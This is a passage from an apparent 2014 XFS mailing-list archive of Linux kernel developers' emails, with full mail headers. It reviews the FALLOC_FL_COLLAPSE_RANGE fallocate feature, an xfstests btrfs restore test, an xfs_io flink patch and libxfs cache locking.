with daily usage (trinity seems to be good at faulting into holes being punched). That's probably the right pragmatic decision; but I'm a little worried that it's justfied by saying we already have such races in hole-punch. Collapse is significantly more challenging than either hole-punch or truncation: the shifting of pages from one offset to another is new, and might present nastier bugs. Emphasis on "might": I expect it's impossible, given your current approach, but something to be on guard against is unmap_mapping_range() failing to find and unmap a pte, because the page is mapped at the "wrong" place in the vma, resulting in BUG_ON(page_mapped(page)) in __delete_from_page_cache(). One thing that is slightly wrong in what you have right now, is your use of truncate_pagecache_range(): you'll need to add an "even_cows" arg to that (or make it a wrapper to a __truncate_pagecache_range() taking additional "even_cows" arg). That arg governs what is done with anonymous COW'ed pages in a MAP_PRIVATE mmap of the file. Truncation is required by spec to unmap them; hole punching was up to us to spec, did not unmap them originally (because there was no preliminary call to unmap_mapping_range(), so it happened to rely on the inefficient fallback within truncate_inode_page()), and that seemed fine because, why discard a user's data unnecessarily? But your case is different: collapse is much closer to truncation, and if you do not unmap the private COW'ed pages, then pages left behind beyond the EOF will break the spec that requires SIGBUS when touching there, and pages within EOF will be confusingly derived from file data now belonging to another offset or none (move these pages within the user address space? no, I don't think anon_vmas would allow that, and there may be no right place to move them). It's clear that the right and easy thing to do is just to unmap them (all of them, from critical offset to EOF), in the rare case of there being any such pages. Whether this detail needs to be mentioned in the man page (I don't like throwing away a user's data without warning) I'm not sure, Michael can judge. FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, but probably seven months too late to object. It surprises me that you're doing all this work to deflate a part of the file, without the obvious complementary work to inflate it - presumably all those advertisers whose ads you're cutting out, will come back to us soon to ask for inflation, so that they have somewhere to reinsert them ;) But you have the good precedent of "truncate" being used to extend files, so I suppose "collapse" can one day be enhanced to inflate a file when given negative len. Or perhaps, like truncate, that would lead to too much "if (bigger) do_one_thing() else something_else()", and a separate FALLOC_FL_ would prove better. Certainly there's no requirement that you should implement this, I was just a little surprised that you had not. I should mention that when "we" implemented this thirty years ago, we had a strong conviction that the system call should be idempotent: that is, the len argument should indicate the final i_size, not the amount being removed from it. Now, I don't remember the grounds for that conviction: maybe it was just an idealistic preference for how to design a good system call. I can certainly see that defining it that way round would surprise many app programmers. Just mentioning this in case anyone on these lists sees a practical advantage to doing it that way instead. I see you've included xfstests and xfs_io updates, nice. Did you realize that util-linux has a /usr/bin/fallocate? I hope someone will update that too. Hugh From david@fromorbit.com Tue Feb 25 17:33:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD41A7F50 for ; Tue, 25 Feb 2014 17:33:46 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 96B338F8073 for ; Tue, 25 Feb 2014 15:33:43 -0800 (PST) X-ASG-Debug-ID: 1393371220-04bdf05daa3f0c0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ChRYNUSysGOcW4WP for ; Tue, 25 Feb 2014 15:33:41 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At1MADUnDVN5LJYePGdsb2JhbABZgwaIT7NthVaBExcDAQEBATg1giUBAQQBOg0PIxAIAxgJJQ8FDRgDBxoTh3EDCQerTpU7DYdAFxaMJoIUB4Q4BJZJgWyMYokIKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 10:03:39 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIRUm-0002f3-J3; Wed, 26 Feb 2014 10:33:04 +1100 Date: Wed, 26 Feb 2014 10:33:04 +1100 From: Dave Chinner To: Filipe David Manana Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature Message-ID: <20140225233304.GH13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add test for btrfs-progs restore feature References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> <1393353848-26790-1-git-send-email-fdmanana@gmail.com> <20140225195420.GX13647@dastard> <20140225221100.GG13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393371220 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 10:34:07PM +0000, Filipe David Manana wrote: > On Tue, Feb 25, 2014 at 10:11 PM, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 09:02:43PM +0000, Filipe David Manana wrote: > >> On Tue, Feb 25, 2014 at 7:54 PM, Dave Chinner wrote: > >> > On Tue, Feb 25, 2014 at 06:44:08PM +0000, Filipe David Borba Manana wrote: > >> >> This is a regression test to verify that the restore feature of btrfs-progs > >> >> is able to correctly recover files that have compressed extents, specially when > >> >> the respective file extent items have a non-zero data offset field. > >> >> > >> >> This issue is fixed by the following btrfs-progs patch: > >> >> > >> >> Btrfs-progs: fix restore of files with compressed extents > >> >> > >> >> Signed-off-by: Filipe David Borba Manana > >> > .... > >> >> +seq=`basename $0` > >> >> +seqres=$RESULT_DIR/$seq > >> >> +echo "QA output created by $seq" > >> >> + > >> >> +tmp=/tmp/$$ > >> >> +status=1 # failure is the default! > >> >> +trap "_cleanup; exit \$status" 0 1 2 3 15 > >> > > >> > here=`pwd` > >> > >> Didn't we agree before, for a previous path, to export "here" from the > >> main control skip and then cleanup tests to not redefine it? > >> I am confused now :) > > > > Yes, we did, but there's no patch to do that yet. Hence tests need > > to define it until the infrastructure is changed..... > > There's a patch flying around that adds the _require_fssum() and then > removes definition of "here" for all btrfs tests that use fssum. changing how $here is defined needs to be in a patch of it's own, and that patch needs to remove it from every single test in the xfstests code base that declares it. test harness infrastructure changes should not be buried in an unrelated btrfs test changes.... > >> >> + | _filter_xfs_io > >> >> + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ > >> >> + | _filter_xfs_io > >> >> + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ > >> >> + | _filter_xfs_io > >> >> + > >> >> + md5sum $SCRATCH_MNT/foo | _filter_scratch > >> > > >> > So you are doing this with first having "persisted" the new extents. > >> > Seems kind of strange that you need to persist some and not > >> > others... > > All I want is to have different file extent items. Yes, I get that. What is not clear is where you expect the failure to be detected - in memory or on disk? > >> I need to make sure there's fragmentation (i.e. several file extent > >> items in the fs btree with data offset fields > 0). > > > > Right, but my question is why you haven't ensured that btree is on > > disk at the time you run the md5sum. > > Because it's not needed. > The sync is only to make sure the first 2 extent items aren't merged > together. And that is needed to trigger the failure. Yes, it's a pre-condition. That's not the answer to the question I've been asking, though. > > That seems important to me > > because the above sync commands indicate that having the extents on > > disk rather than in memory is important here. e.g. are you expecting > > the md5sum to be correct before the data is synced to disk, and then > > incorrect after the data is synced to disk by the unmount? > > Again what's important is having multiple extent items after unmounting. Ah, so syncing the data after the second set of writes is important, and that's what you are testing. So, why aren't you testing this with sync and fiemap? Or is it the unmount that matters, rather than the data writeback? Do you see what I'm trying to understand? If it's data writeback that triggers the bug or enables it to be detected, then that's what the test should use as the trigger. If unmount is necessary, then a comment saying "data writeback is not sufficient to trigger or detect the corruption - we need can only detect it via unmount and a fsck pass".... > > code in it to check and unmount the scratch device, so if that is > > not happening then there's something broken that needs to be fixed. > > So _check_btrfs_filesystem() will unmount the fs if it's mounted, do > the fsck thing and then remount it. If the isn't mounted when it's > called, it will not mount/remount it after doing the fsck. Very > explicit, I don't know the motivation for that behaviour. Ok, so the problem is not as you described - it's not that _check_scratch_fs doesn't unmount the filesystem, it's that it mounts it again after the check and the test requires it to be unmounted *after* it has been checked. See how much time a simple comment can save? :) > >> matter what its filesystem is (btrfs, extN, xfs, etc) > > > > Needs a comment. > > Ok... so should I make a comment to explain what btrfs restore does? > Is it unreasonable to expect an unfamiliar reader to run btrfs --help > or check the man page for example to see what this command is? It is unreasonable to expect them to understand why you used btrfs restore rather than just doing "_scratch_check_fs; md5sum $testfile". That's what the comment needs to explain, because I still don't understand why the test uses btrfs restore or why it would give any different result to the script fragment in the previous sentence... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 17:36:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4D1C97F50 for ; Tue, 25 Feb 2014 17:36:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2375E304075 for ; Tue, 25 Feb 2014 15:36:01 -0800 (PST) X-ASG-Debug-ID: 1393371358-04bdf05dac3f280001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id usSy4ei8Fee6QiAy for ; Tue, 25 Feb 2014 15:35:58 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtxMAF4oDVN5LJYePGdsb2JhbABZgwaIT7NthVaBExcDAQEBATg1giUBAQU6HBUOEAgDDgoJJQ8FJQMHGhOIBMhXFxaOOgeEOASYNYpTixco Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 10:05:57 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIRXZ-0002fM-1V; Wed, 26 Feb 2014 10:35:57 +1100 Date: Wed, 26 Feb 2014 10:35:57 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_io: add support for flink Message-ID: <20140225233556.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> <20140225195218.GA14110@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225195218.GA14110@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393371358 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 11:52:18AM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig .... > --- a/man/man8/xfs_io.8 > +++ b/man/man8/xfs_io.8 > @@ -638,6 +638,10 @@ Only available in expert mode and requires privileges. > Undo the effects of a filesystem freeze operation. > Only available in expert mode and requires privileges. > .TP > +.BI "flink " path > +Reads a range of bytes in a specified blocksize from the given > +Link the currently open file descriptor into the filesystem namespace. > +.TP Looks like some noise got into that hunk. Other than that: Reviewed-by: Dave Chinner I'll remove that extra line when I commit it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From akpm@linux-foundation.org Tue Feb 25 17:41:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E5EB97F50 for ; Tue, 25 Feb 2014 17:41:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 70522AC005 for ; Tue, 25 Feb 2014 15:41:36 -0800 (PST) X-ASG-Debug-ID: 1393371694-04cbb066e53f280001-NocioJ Received: from mail.linuxfoundation.org (mail.linuxfoundation.org [140.211.169.12]) by cuda.sgi.com with ESMTP id hEPSUBMBb80zY3Ls for ; Tue, 25 Feb 2014 15:41:34 -0800 (PST) X-Barracuda-Envelope-From: akpm@linux-foundation.org X-Barracuda-Apparent-Source-IP: 140.211.169.12 Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95]) by mail.linuxfoundation.org (Postfix) with ESMTPSA id B11969A3; Tue, 25 Feb 2014 23:41:32 +0000 (UTC) Date: Tue, 25 Feb 2014 15:41:28 -0800 From: Andrew Morton To: Hugh Dickins Cc: Namjae Jeon , Matthew Wilcox , "Theodore Ts'o" , Dave Chinner , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-Id: <20140225154128.947a2de83a2d0dc21763ccf9@linux-foundation.org> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.linuxfoundation.org[140.211.169.12] X-Barracuda-Start-Time: 1393371694 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, 25 Feb 2014 15:23:35 -0800 (PST) Hugh Dickins wrote: > On Tue, 25 Feb 2014, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > > > > > > Namjae Jeon (10): > > > > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > > > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > I've pushed these to the following branch: > > > > > > > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > > > > > > > And so they'll be in tomorrow's linux-next tree. > > > > > > > > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > > > > > I've left this one alone for the ext4 guys to sort out. > > > > > > So presumably that xfs tree branch is now completely stable and so Ted > > > could just merge that branch into the ext4 tree as well and put the ext4 > > > part on top of that in his tree. > > > > Well, for some definition of stable. Right now it's just a topic > > branch that is merged into the for-next branch, so in theory it is > > still just a set of pending changes in a branch in a repo that has > > been pushed to linux-next for testing. > > > > That said, I don't see that branch changing unless we find bugs in > > the code or a problem with the API needs fixing, at which point I > > would add more commits to it and rebase the for-next branch that you > > are pulling into the linux-next tree. > > > > Realistically, I'm waiting for Lukas to repost his other pending > > fallocate changes (the zero range changes) so I can pull the VFS and > > XFS bits of that into the XFS tree and I can test them together > > before I'll call the xfs-collapse-range stable and ready to be > > merged into some other tree... > > ... > > Emphasis on "might": I expect it's impossible, given your current > approach, but something to be on guard against is unmap_mapping_range() > failing to find and unmap a pte, because the page is mapped at the > "wrong" place in the vma, resulting in BUG_ON(page_mapped(page)) > in __delete_from_page_cache(). It should be well tested with non-linear mappings please. It *should* be OK, but... > > ... > > FALLOC_FL_COLLAPSE_RANGE: I'm a little sad at the name COLLAPSE, > but probably seven months too late to object. It surprises me that > you're doing all this work to deflate a part of the file, without > the obvious complementary work to inflate it - presumably all those > advertisers whose ads you're cutting out, will come back to us soon > to ask for inflation, so that they have somewhere to reinsert them ;) Yes, I was wondering that. Why not simply "move these blocks from here to there". From hughd@google.com Tue Feb 25 17:42:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 776457F50 for ; Tue, 25 Feb 2014 17:42:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C17A304048 for ; Tue, 25 Feb 2014 15:42:08 -0800 (PST) X-ASG-Debug-ID: 1393371727-04bdf05dab3f580001-NocioJ Received: from mail-pb0-f54.google.com (mail-pb0-f54.google.com [209.85.160.54]) by cuda.sgi.com with ESMTP id ljT2HEazvnW8rxKG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 15:42:07 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.54 Received: by mail-pb0-f54.google.com with SMTP id uo5so130763pbc.27 for ; Tue, 25 Feb 2014 15:42:07 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=gGZ/EAwJz6axSCTVTvZ5pWis1cMt7vGvK1zXGw9UOsA=; b=f/U9sG45bvMojSZvglfUxY3WwNfl4e3F5F4A09oDZ+owrSFFOXjPFE8D0MQsidE+kv ZQNyVMg8zfSydkuuXP52KFq+xwXb5Uzig0K1jdB1ZcKk7LynWmsZvs+wp8MXCsFAmXoX VOR7mKm8yIX7cUEWMUcqBnZnL+OuCeB8DbVfeaGfut7JV09JlAnd/s/mTtfoKL7bKdMg ekC2g7HXEQfTAKg93vC0nyotnyv2IkRDP3MCOknoNKItgx/9Kozvq66rbocUJZgplzZ6 4GUQ82Bklfv7IZLLsUgqdmfSER11Ue3zMcec5wbzRs0jV1OCB5fO+glHVL4+EXQY4IQY RtRA== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=gGZ/EAwJz6axSCTVTvZ5pWis1cMt7vGvK1zXGw9UOsA=; b=Zdf8JdMJj73XTIPtuvC7Htn+uj+vzlZYCCx7GArCwX0y8HZ2Ihgowd0MgYMobWBAg9 bl3aLqv7pw0bKfA847rYnUmbg7eqRNjWkJuTFk+7qUhjtjh8qvrhSHEhN/jHYuECtYfW DKdqfYu6yzg/amEr7s5AC09AuapNVoHxHau3pPAWrdQ6e3Yx5yTAIh1pGVK1vWY90+Y6 N4JPV62uljLFn5IZCwc6wvRXZu9qTsKcehuctMUYQvEAVm49M+2afL4URYQE56+cxlKb mmKyxhBPT0k7ZLTSih9HNjEcUYHL0TqU+gvY1pgVYhcS9sylioBz+7QRb/sfM7pzrE+g JQww== X-Gm-Message-State: ALoCoQmrl6vuFmhv8JIvwbPpFh9MDzZRp4tpK+uhhBFHP6Oc5nYvtUqjZfVS8sS5fy/m6WJi+sdydsORB40rPMhNaKNUFb6ziBEIdDHZifpQqxko+wMXzMZgFMQICmTN5xvB6w1FBQGNytrsBJYkI6F5XO9SjI1I4TL7gFQHM74wK35j53t3T9aCJ2T/WR8kpaMmR9xfG9mS X-Received: by 10.68.164.4 with SMTP id ym4mr2697098pbb.53.1393371726765; Tue, 25 Feb 2014 15:42:06 -0800 (PST) Received: from [192.168.148.97] ([216.239.55.193]) by mx.google.com with ESMTPSA id yo9sm153200996pab.16.2014.02.25.15.42.05 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 15:42:06 -0800 (PST) Date: Tue, 25 Feb 2014 15:41:20 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Andrew Morton , Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140223213606.GE4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> <20140223213606.GE4317@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pb0-f54.google.com[209.85.160.54] X-Barracuda-Start-Time: 1393371727 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, 24 Feb 2014, Dave Chinner wrote: > On Sat, Feb 22, 2014 at 09:06:25AM -0500, Theodore Ts'o wrote: > > On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > > > + /* > > > + * There is no need to overlap collapse range with EOF, in which case > > > + * it is effectively a truncate operation > > > + */ > > > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > > > + (offset + len >= i_size_read(inode))) > > > + return -EINVAL; > > > + > > > > I wonder if we should just translate a collapse range that is > > equivalent to a truncate operation to, in fact, be a truncate > > operation? > > Trying to collapse a range that extends beyond EOF, IMO, is likely > to only happen if the DVR/NLE application is buggy. Hence I think > that telling the application it is doing something that is likely to > be wrong is better than silently truncating the file.... I do agree with Ted on this point. This is not an xfs ioctl added for one DVR/NLE application, it's a mode of a Linux system call. We do not usually reject with an error when one system call happens to ask for something which can already be accomplished another way; nor nanny our callers. It seems natural to me that COLLAPSE_RANGE should support beyond EOF; unless that adds significantly to implementation difficulties? Actually, is it even correct to fail at EOF? What if fallocation with FALLOC_FL_KEEP_SIZE was used earlier, to allocate beyond EOF: shouldn't it be possible to shift that allocation down, along with the EOF, rather than leave it behind as a stranded island? Hugh From david@fromorbit.com Tue Feb 25 17:44:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 96A527F50 for ; Tue, 25 Feb 2014 17:44:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 37C32AC005 for ; Tue, 25 Feb 2014 15:44:03 -0800 (PST) X-ASG-Debug-ID: 1393371840-04cbb066e63f450001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 4r1gUPKq1kou00Fn for ; Tue, 25 Feb 2014 15:44:00 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At1MAI8pDVN5LJYePGdsb2JhbABZgwaIT7NthVaBExcDAQEBATg1giUBAQQBOhwjBQsIAw4KCSUPBSUDBxoTh30HyFcXFo46B4Q4BJg1lWoo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 10:13:59 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIRfJ-0002gt-61; Wed, 26 Feb 2014 10:43:57 +1100 Date: Wed, 26 Feb 2014 10:43:57 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] libxfs: remove a couple of locks Message-ID: <20140225234357.GJ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 08/10] libxfs: remove a couple of locks References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-9-git-send-email-david@fromorbit.com> <20140225200558.GC22351@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225200558.GC22351@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393371840 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145512 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 12:05:58PM -0800, Christoph Hellwig wrote: > So what's protecting the cache hits statistics now? Nothing. And I don't care because the statistic is meaningless from the point of view of tuning xfs_repair performance. > Longer term it might make sense to just port the XFS buffercache from > the kernel to libxfs.. *nod* We badly need to separate the buffer cache into per-AG caches because most of the per-thread operations are isolated to a single AG and so a global hash simply doesn't scale from a lock contention or a table sizing point of view.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 17:51:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A75B47F50 for ; Tue, 25 Feb 2014 17:51:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 59764AC003 for ; Tue, 25 Feb 2014 15:51:16 -0800 (PST) X-ASG-Debug-ID: 1393372274-04bdf05dab3f990001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id jAZPWWIOEaBWf4iY for ; Tue, 25 Feb 2014 15:51:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 